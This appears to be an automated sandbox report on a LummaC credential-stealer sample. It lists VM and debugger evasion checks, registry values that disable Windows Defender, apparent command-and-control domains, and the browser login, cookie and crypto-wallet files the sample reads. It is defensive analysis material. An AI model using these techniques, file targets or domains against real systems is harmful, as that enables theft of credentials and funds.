Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000003.2165370961.00000000059F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: file.exe, 00000000.00000003.2323846308.0000000006291000.00000004.00000800.00020000.00000000.sdmp, R2L4HOH3ABPEWSR51AXUR0XR.exe, 00000003.00000002.2477884596.00000000009CA000.00000040.00000001.01000000.00000006.sdmp, R2L4HOH3ABPEWSR51AXUR0XR.exe, 00000003.00000000.2324387815.00000000009CA000.00000080.00000001.01000000.00000006.sdmp, R2L4HOH3ABPEWSR51AXUR0XR.exe.0.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: file.exe, 00000000.00000003.2323846308.0000000006291000.00000004.00000800.00020000.00000000.sdmp, R2L4HOH3ABPEWSR51AXUR0XR.exe, 00000003.00000002.2477884596.00000000009CA000.00000040.00000001.01000000.00000006.sdmp, R2L4HOH3ABPEWSR51AXUR0XR.exe, 00000003.00000000.2324387815.00000000009CA000.00000080.00000001.01000000.00000006.sdmp, R2L4HOH3ABPEWSR51AXUR0XR.exe.0.dr	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Thread information set: HideFromDebugger			Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Code function: 3_2_009C469F Start: 009C46C4 End: 009C46CC		3_2_009C469F
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Code function: 3_2_009C4653 Start: 009C46C4 End: 009C46CC		3_2_009C4653

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe

Code function: 3_2_009C42F6 rdtsc

3_2_009C42F6

Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe

Code function: 3_2_0084B7E6 LdrInitializeThunk,

3_2_0084B7E6

Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2100663367.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.2100663367.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.2100663367.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.2100663367.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.2100663367.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.2100663367.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.2100663367.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.2100663367.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: R2L4HOH3ABPEWSR51AXUR0XR.exe, R2L4HOH3ABPEWSR51AXUR0XR.exe, 00000003.00000002.2478112964.0000000000A16000.00000040.00000001.01000000.00000006.sdmp

Binary or memory string: fProgram Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: file.exe, 00000000.00000003.2213266340.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213381477.0000000001150000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 4292, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2161404498.000000000115F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: llets/Electrum-LTC
Source: file.exe, 00000000.00000003.2161404498.000000000115F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: llets/ElectronCash
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.2149025009.0000000001150000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
